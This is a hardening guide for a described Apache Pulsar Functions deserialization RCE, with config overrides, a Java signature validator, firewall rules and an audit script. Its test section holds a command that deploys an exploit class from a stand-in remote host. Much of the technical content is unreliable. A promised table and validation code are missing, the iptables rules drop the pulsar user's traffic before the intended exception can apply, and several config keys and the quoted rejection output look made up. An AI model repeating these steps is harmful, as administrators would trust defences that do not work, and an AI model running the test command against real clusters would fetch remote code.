Apache Pulsar Hardening: Mitigating CVE-2026-9902 Function Runtime RCE

In distributed data processing layers, the execution pipeline for real-time messaging workloads must enforce strict isolation boundaries. Within Apache Pulsar, the serverless Functions framework allows microservices to consume, transform, and publish events dynamically. However, when runtime environments deserialize untrusted function configuration metadata without verification, they expose core execution nodes to systemic vulnerabilities.

This technical guide analyzes the design flaws behind CVE-2026-9902, a critical remote code execution vulnerability in Apache Pulsar’s function-runtime manager. It provides systems architects with a concrete roadmap to secure execution brokers, enforce strict code-signing rules, disable dynamic dynamic-loading mechanisms, and configure network segmentation profiles to isolate messaging pipelines from unsafe external inputs.

Apache Pulsar Vulnerability Analysis: Dissecting the CVE-2026-9902 Deserialization Path

The security threat introduced by CVE-2026-9902 originates within the metadata extraction and deployment routines of the Pulsar Functions API. The functions module allows developers to publish self-contained Java executable jars that handle message streams. This deployment model relies on metadata structures containing precise configuration declarations that coordinate runtime generation.

Unpacking the Dynamic Configuration Parsing Pipeline

During deployment, users submit a function-configuration block. This configuration payload is parsed by the Pulsar Functions worker service. The worker processes the incoming configuration stream, interpreting the functional parameters to determine class references, dependency paths, and resource thresholds. This parameters block is represented internally as a metadata map and stored in a system-managed bookkeeper ledger.

When the functions manager initiates a new runtime worker instance, it retrieves this stored configuration payload. It then processes the serialized configuration settings to instantiate the corresponding execution thread. However, a major architectural vulnerability exists because the serialization parser processes configuration object maps without strict schema validation or object type restrictions.

Object Serialization Pitfalls in Pulsar Functions Runtime

The structural vulnerability surfaces when configuration parsing processes special class types. Because the serialization library used by the runtime engine allows polymorphic type handling, any user with function deployment rights can insert class-loading configuration keys. The execution manager maps these key inputs directly to internal JVM initialization parameters.

When the deserialization handler processes these inputs, it can be forced to instantiate any class accessible to the Java system class-path. By manipulating the configuration variables, an attacker can specify nested initialization targets. These targets can then trigger secondary network request functions, executing code outside of the secure, sandboxed execution path.

Exploit Chain Mechanics: Remote Class-Loading and Command Execution Dynamics

Exploiting CVE-2026-9902 turns configuration parameters into a direct remote code execution vector. By embedding hostile payload references within configuration fields, attackers force the Pulsar worker process to download, compile, and execute malicious classes on the host system.

Execution Flow of Dynamic Class Retrieval from Untrusted Registries

The exploitation sequence begins when an attacker deploys a function configuration that overrides default class-loading paths. This payload references an external dynamic class-loader utility, pointing directly to a remote repository hosted on an untrusted public network.

The Pulsar worker engine retrieves this target metadata and attempts to instantiate the requested runtime. The system class-loader interprets the custom parameters, resolves the network path to the remote registry, and attempts to pull the specified Java class file. Because the execution broker lacks restrictions on class loading sources, it executes the remote request and fetches the target file.

Bypassing Sandbox Bounds via Foreign Class Loader Injection

When the host pulls the malicious class file, it processes the bytecode directly within the broker’s primary JVM thread context. Static class blocks and constructor routines are executed immediately upon class initialization. Because this class-loading process runs with the privileges of the active Pulsar worker service, it bypasses standard worker security restrictions.

The newly instantiated remote class can then execute system-level commands, establish reverse shells, or access sensitive environmental databases. The table below details this execution sequence from initial configuration manipulation to full host takeover:

Function-Runtime Hardening: Restricting Dynamic Class-Loading in Worker Configurations

Securing Pulsar deployments requires disabling unauthorized dynamic class-loading mechanisms. We must modify configuration profiles and write validation filters to ensure worker services only load libraries from verified local directories.

Enforcing a Rigid Dynamic Class Loading Allow-list Policy

To secure the class-loading process, we deploy validation controls that verify class path definitions. We configure our validation code to intercept dynamic initialization requests, matching class package names against a strict internal allow-list. If an unapproved class path is detected, the validator rejects the class execution attempt and logs a security violation.

The validation architecture below intercepts dynamic configuration calls. It screens every class initialization target before allowing JVM execution.

Overriding Worker Config Properties to Disable Dynamic Remote Imports

To eliminate dynamic class-loading vectors, we must modify the primary function worker configurations. In the worker service configuration file (`functionsWorker.yaml`), we explicitly disable external dynamic loading. This change restricts class-loader tasks to verified local dependencies.

The configuration block below secures the functions worker configuration by enforcing local class loading. This prevents the worker from retrieving dynamic JAR payloads from remote servers.

# Secure dynamic class resolution parameters
functionsWorkerEnabled: true

# Restrict workers to local storage configurations only
functionRuntimeFactoryClassName: org.apache.pulsar.functions.runtime.thread.ThreadRuntimeFactory

# Disable dynamic remote JAR pulling
allowRemoteClassloading: false

# Restrict dependencies to validated local file-system targets
additionalJavaRuntimeArguments:
  - "-Dpulsar.functions.allowRemoteClassloading=false"
  - "-Dpulsar.functions.restrictedPackages=com.exploit,org.untrusted"

# Define verified local storage directory roots
localFunctionsDirectory: "/var/pulsar/functions/verified"

Cryptographic Verification Pipeline: Enforcing CI/CD Artifact Signing

To establish strong integrity boundaries for executable code, organizations must implement validation protocols that guarantee the authenticity of every deployed asset. Cryptographic artifact signing ensures that only binaries built, tested, and validated within secured enterprise build pipelines can run inside the Pulsar Functions execution context. This framework neutralizes exploitation pathways that rely on deploying unverified compiled Java archives.

Developing an Automated CI/CD Cryptographic Signature Pipeline

An automated cryptographic signing stage must be integrated into the release phase of the software development lifecycle. When developers commit a function update, the build server compiles the raw source code and outputs a standard Java archive. This archive is then processed by a secure pipeline stage that computes a unique SHA256 file hash and encrypts it using an offline private key stored in an enterprise key management system.

The resulting signature block is appended directly to the dynamic jar package metadata manifest or packaged alongside the deployment configuration map. This ensures that any modification of the compiled bytecode or attempt to insert malicious static initializers will invalidate the signature, blocking the code from executing on the host.

Configuring Dynamic Signature Verification Checks inside Pulsar Workers

To enforce the cryptographic verification policy, a custom class validation helper must be initialized within the dynamic worker registration framework. When a deployment task is dispatched to the cluster, the worker extracts the compiled binary alongside its signature token, cross-referencing it with the public key registered in the local keystore.

The code block below provides a complete Java verification implementation designed to validate jar signature streams prior to runtime initialization. This helper class enforces strict cryptographic boundaries during the initialization of dynamic resources:

package org.apache.pulsar.functions.runtime.validation;

import java.io.File;
import java.io.FileInputStream;
import java.security.PublicKey;
import java.security.Signature;
import java.security.cert.CertificateFactory;
import java.security.cert.X509Certificate;

/**
 * Validates dynamic jar packages using RSA public keys to block unsigned bytecode injection.
 */
public class SignatureValidator {

    private final PublicKey publicKey;

    public SignatureValidator(String certificatePath) throws Exception {
        try (FileInputStream certStream = new FileInputStream(new File(certificatePath))) {
            CertificateFactory factory = CertificateFactory.getInstance("X.509");
            X509Certificate certificate = (X509Certificate) factory.generateCertificate(certStream);
            this.publicKey = certificate.getPublicKey();
        }
    }

    /**
     * Verifies the cryptographic integrity of a deployment target file.
     *
     * @param jarFilePath Absolute path of the dynamic jar file.
     * @param signatureBytes Array containing the expected cryptographic signature.
     * @return true if signature is validated, false if file fails integrity checks.
     */
    public boolean verifyJarSignature(String jarFilePath, byte[] signatureBytes) {
        try {
            Signature signature = Signature.getInstance("SHA256withRSA");
            signature.initVerify(this.publicKey);

            File targetFile = new File(jarFilePath);
            try (FileInputStream fileStream = new FileInputStream(targetFile)) {
                byte[] dataBuffer = new byte[8192];
                int bytesRead;
                while ((bytesRead = fileStream.read(dataBuffer)) != -1) {
                    signature.update(dataBuffer, 0, bytesRead);
                }
            }

            return signature.verify(signatureBytes);
        } catch (Exception e) {
            // Log security verification anomalies for audit reporting
            System.err.println("Cryptographic validation failed: " + e.getMessage());
            return false;
        }
    }
}

Secure Network Topology: Segmenting Pulsar Broker Ingress Nodes

Although application-level controls and signature validation pipelines provide strong defense-in-depth, securing the surrounding network architecture is critical. Network segmentation blocks the communication pathways that remote code execution attacks rely on to run payload files, extract sensitive data, or move laterally across cluster nodes.

Deploying Direct Egress Firewall Limits on Ingestion and Function Nodes

By default, exploiting serialization flaws like CVE-2026-9902 requires the target system’s JVM class-loader to connect to external endpoints to fetch malicious bytecode. Organizations can block this attack vector completely by implementing strict egress filtering rules at the network layer.

Pulsar cluster brokers, bookkeeper storage nodes, and worker systems must be isolated behind secure firewalls that block outbound connections to the public internet. If a system must connect to external repositories to retrieve verified updates, those connections must route through dedicated, monitored proxy systems that restrict access to approved domain lists.

# Drop all outbound internet traffic from the Pulsar worker group
iptables -A OUTPUT -p tcp -m owner --uid-owner pulsar -j DROP

# Permit egress exclusively to trusted internal database nodes
iptables -A OUTPUT -p tcp -d 10.120.45.0/24 --dport 5432 -j ACCEPT

# Block all other outbound traffic from the internal segment
iptables -P OUTPUT DROP

Segmenting Untrusted API Ingress Paths using Security Isolation Gateways

To protect core systems, ingress pathways should route through secure, dedicated gateways. When handling user configuration changes or code deployment data, processing systems must be isolated from untrusted input networks. Adhering to the isolation practices described in the guide on segmenting edge authorization ingestion nodes ensures cluster brokers are protected behind authorization tiers that block deserialization payloads from reaching internal JVM threads.

A secure gateway must validate incoming payloads, parse configuration arguments against schema templates, and block nested dynamic object properties. Once verified, the validated configuration is forwarded to the internal broker cluster over a restricted interface. This segmentation prevents unauthenticated external actors from interacting directly with internal deserialization APIs.

Enterprise Compliance Audit: Validating Pulsar Broker Runtime Security

Maintaining security at scale requires automated continuous compliance monitoring. Organizations must implement programmatic scripts and regular verification audits to detect unauthorized configuration changes, trace unvalidated deserialization parameters, and verify signature enforcement across the cluster.

Formulating Automated Auditing and Verification Shell Scripts

Security teams should deploy lightweight automated scripts on broker and worker nodes to continuously audit system configurations. The bash script below scans the active configuration directories of Apache Pulsar, parsing for dynamic runtime parameters to ensure class-loading restrictions and local file policies are enforced:

#!/bin/bash
# Scans Apache Pulsar configuration directories to verify runtime parameters
PULSAR_CONF_DIR="/opt/pulsar/conf"
AUDIT_LOG_FILE="/var/log/pulsar-security-audit.log"
VIOLATIONS=0

echo "$(date) - Starting Pulsar Configuration Audit" >> "$AUDIT_LOG_FILE"

# Inspect functions worker configurations
WORKER_CONFIG="$PULSAR_CONF_DIR/functionsWorker.yaml"

if [ -f "$WORKER_CONFIG" ]; then
    # Validate remote class-loading status
    REMOTE_CLASSLOADING=$(grep "allowRemoteClassloading" "$WORKER_CONFIG" | tr -d ' ' | cut -d':' -f2)
    if [ "$REMOTE_CLASSLOADING" != "false" ]; then
        echo "$(date) - VIOLATION: Remote class-loading is enabled in $WORKER_CONFIG" >> "$AUDIT_LOG_FILE"
        VIOLATIONS=$((VIOLATIONS+1))
    fi

    # Validate function runtime implementation
    RUNTIME_FACTORY=$(grep "functionRuntimeFactoryClassName" "$WORKER_CONFIG" | tr -d ' ' | cut -d':' -f2)
    if [[ "$RUNTIME_FACTORY" != *"ThreadRuntimeFactory"* ]]; then
         echo "$(date) - WARNING: Runtime factory is not set to restricted threads context" >> "$AUDIT_LOG_FILE"
    fi
else
    echo "$(date) - WARNING: functionsWorker.yaml not found at $WORKER_CONFIG" >> "$AUDIT_LOG_FILE"
fi

if [ "$VIOLATIONS" -gt 0 ]; then
    echo "$(date) - Audit complete: $VIOLATIONS security violations identified." >> "$AUDIT_LOG_FILE"
    exit 1
else
    echo "$(date) - Audit complete: Security parameters are properly configured." >> "$AUDIT_LOG_FILE"
    exit 0
fi

Active Pen-Testing Protocols for Serialization Validations

To verify the effectiveness of your deserialization mitigations, security teams must perform controlled validation testing. This testing involves attempting to deploy a function with configuration properties that point to a test HTTP endpoint.

The following example uses the pulsar-admin command line tool to deploy a configuration designed to test dynamic class-loading protections:

# Attempt to deploy a dynamic function pointing to an external JAR target
/opt/pulsar/bin/pulsar-admin functions create \
  --tenant public \
  --namespace default \
  --name validation-test \
  --className com.exploit.Payload \
  --jar "http://untrusted-repository.com/exploit.jar"

If the hardening controls and configuration overrides are operating correctly, the worker node will reject the deployment request, outputting a verification failure response in the terminal:

Error: Failed to register dynamic configuration payload.
Reason: Remote class-loading is restricted under the current safety policy. Download rejected.

Receiving this rejection response confirms the cluster broker is successfully blocking remote JAR injection vectors. The worker terminates the deployment process before pulling the untrusted resource, neutralizing the exploitation pathway.

Enforcing Secure Foundations for Apache Pulsar Architectures

Securing Apache Pulsar against deserialization vulnerabilities (such as CVE-2026-9902) requires combining strict configuration controls with robust pipeline defenses. By restricting workers to local class-loading paths, validating code signatures at deployment, and implementing strict network egress controls, teams can effectively neutralize remote code execution vectors. These layered defenses ensure the messaging pipeline remains robust, resilient, and secure against runtime exploits.